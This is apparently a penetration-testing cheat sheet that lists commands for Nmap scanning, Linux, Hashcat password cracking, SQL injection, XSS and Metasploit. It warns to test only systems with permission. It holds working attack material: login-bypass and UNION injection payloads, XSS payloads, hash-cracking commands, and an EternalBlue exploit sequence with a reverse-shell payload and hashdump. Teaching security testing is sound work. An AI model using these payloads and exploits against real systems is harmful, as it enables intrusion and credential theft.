On this page: Nmap · Linux · Hashcat · SQL injection · XSS · Metasploit

One rule before you start: only run these commands against systems you own, or systems you have written permission to test. That is the whole difference between a pentester and a criminal.

Nmap — find hosts, ports and services

Nmap maps a network: which hosts are up, which ports are open, and what is running on them. Learn it once and you will use it in every engagement.

CommandWhat it does
nmap 192.168.1.1Scan a single host for open ports
nmap 192.168.1.0/24Scan every host on a subnet
nmap -sn 192.168.1.0/24Ping scan: find live hosts without scanning ports
nmap -sS 192.168.1.1SYN scan: fast and quiet, needs root
nmap -sT 192.168.1.1Full TCP connect scan, works without root
nmap -sU 192.168.1.1UDP scan for DNS, SNMP and other UDP services
nmap -p 80,443 192.168.1.1Scan only specific ports
nmap -p- 192.168.1.1Scan all 65,535 ports
nmap -sV 192.168.1.1Detect the service and version on each open port
nmap -O 192.168.1.1Guess the operating system
nmap -A 192.168.1.1Aggressive scan: OS, versions, scripts and traceroute
nmap -oN scan.txt 192.168.1.1Save results to a text file
nmap --script http-title 192.168.1.1Run an NSE script — this one grabs the page title
nmap -T4 192.168.1.0/24Faster timing: T0 is slowest, T5 is most aggressive

Linux terminal — the commands you type every day

Most targets run Linux, and most of your tools run in a terminal. These are the commands you will type every day.

CommandWhat it does
ls -laList files, including hidden ones, with details
pwdShow the directory you are in
cd /etcMove to a directory
cat file.txtPrint a file to the screen
grep -r "password" /var/wwwSearch file contents for a word
find / -name "*.conf" 2>/dev/nullFind files by name, hiding permission errors
chmod 600 id_rsaLock a private key down so only you can read it
ps auxList running processes
ss -tulpnShow listening ports and the process behind each
curl -I https://example.comFetch just the response headers
wget https://example.com/file.zipDownload a file
ssh [email protected]Log in to a remote machine
scp file.txt [email protected]:/tmp/Copy a file to a remote machine over SSH
history | grep sshSearch your past commands
sudo !!Re-run the last command with sudo

Hashcat — turn hashes back into passwords

Hashcat turns a stolen password hash back into a password. -m picks the hash type, -a picks the attack mode. rockyou.txt is the classic wordlist — it ships with Kali.

CommandWhat it does
hashcat -m 0 -a 0 hash.txt rockyou.txtMD5, dictionary attack
hashcat -m 1000 -a 0 hash.txt rockyou.txtNTLM (Windows), dictionary attack
hashcat -m 3200 -a 0 hash.txt rockyou.txtbcrypt, dictionary attack — slow by design
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?d?dMask attack: 4 lowercase letters + 2 digits
hashcat -m 0 -a 0 hash.txt rockyou.txt -r best64.ruleDictionary plus 64 common mutations
hashcat -m 0 -a 6 hash.txt rockyou.txt ?d?d?d?dDictionary words with 4 digits appended
hashcat -m 0 hash.txt --showShow the passwords already cracked
hashcat --example-hashesList every hash mode with a sample hash
hashcat -bBenchmark your hardware

Common hash modes: 0 MD5 · 100 SHA1 · 1000 NTLM · 1400 SHA-256 · 1800 sha512crypt · 3200 bcrypt · 5500 NetNTLMv1 · 5600 NetNTLMv2 · 22000 WPA-PMKID. Attack modes: 0 straight · 1 combinator · 3 mask / brute-force · 6 dictionary + mask · 7 mask + dictionary.

SQL injection — find it, prove it, map the database

SQL injection happens when user input reaches a database query unescaped. These payloads find it, prove it, and map the database.

CommandWhat it does
' OR '1'='1Classic login bypass — an always-true condition
admin'--Comment out the rest of the query, including the password check
' ORDER BY 3--Find the column count — raise the number until it errors
' UNION SELECT NULL,NULL--Confirm the column count matches
' UNION SELECT @@version,NULL--Read the database version (MySQL)
' UNION SELECT table_name,NULL FROM information_schema.tables--List the tables
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--List the columns of the users table
' AND 1=1--Boolean blind test, part one: the page loads normally
' AND 1=2--Boolean blind test, part two: if the page changes, it is injectable
' AND SLEEP(5)--Time-based blind test: a 5-second delay means injectable
sqlmap -u "https://example.com/page?id=1" --dbsLet sqlmap list the databases
sqlmap -u "https://example.com/page?id=1" -D shop --tablesList the tables in one database
sqlmap -u "https://example.com/page?id=1" --batch --random-agentHands-off run with a random user-agent

sqlmap is loud — every request is logged. Only point it at applications you own or have permission to test.

XSS — run JavaScript in someone else’s browser

Cross-site scripting runs your JavaScript in someone else’s browser. These payloads cover the contexts you will actually meet.

CommandWhat it does
<script>alert(1)</script>Basic test, works where script tags are allowed
<img src=x onerror=alert(1)>Fires when script tags are blocked
<svg onload=alert(1)>Fires on page load, no click needed
<body onload=alert(1)>Another load-time handler
<details open ontoggle=alert(1)>Fires when the element opens
"><script>alert(1)</script>Break out of an HTML attribute first
</script><script>alert(1)</script>Break out of an existing script block
'-alert(1)-'Inside a JavaScript string: break out, run code, rejoin the string
javascript:alert(1)In links and other URL contexts
document.cookieWhat an attacker reads when the HttpOnly flag is missing

The fix: encode all user input on output, set a Content-Security-Policy, and mark cookies HttpOnly and Secure.

Metasploit — from vulnerability to session

The framework that turns a vulnerability into a session. Learn the loop — search, use, set, exploit — and every module works the same way.

CommandWhat it does
msfconsoleStart the framework
search eternalblueFind modules by keyword
use exploit/windows/smb/ms17_010_eternalblueLoad a module
show optionsSee what the module needs
set RHOSTS 192.168.1.10Set the target host
set LHOST 192.168.1.5Set your own address for the reverse connection
set PAYLOAD windows/x64/meterpreter/reverse_tcpChoose what runs on the target
exploitLaunch the exploit (run works too)
sessions -lList open sessions
sessions -i 1Interact with session 1
backgroundSend a session to the background — it stays alive
db_nmap -sV 192.168.1.0/24Scan and store the results in the database
sysinfoInside Meterpreter: OS and computer details
getuidInside Meterpreter: who you are running as
hashdumpInside Meterpreter: dump the password hashes

Keep learning

Commands are the start, not the skill. Read the full guides, then practise them in the labs: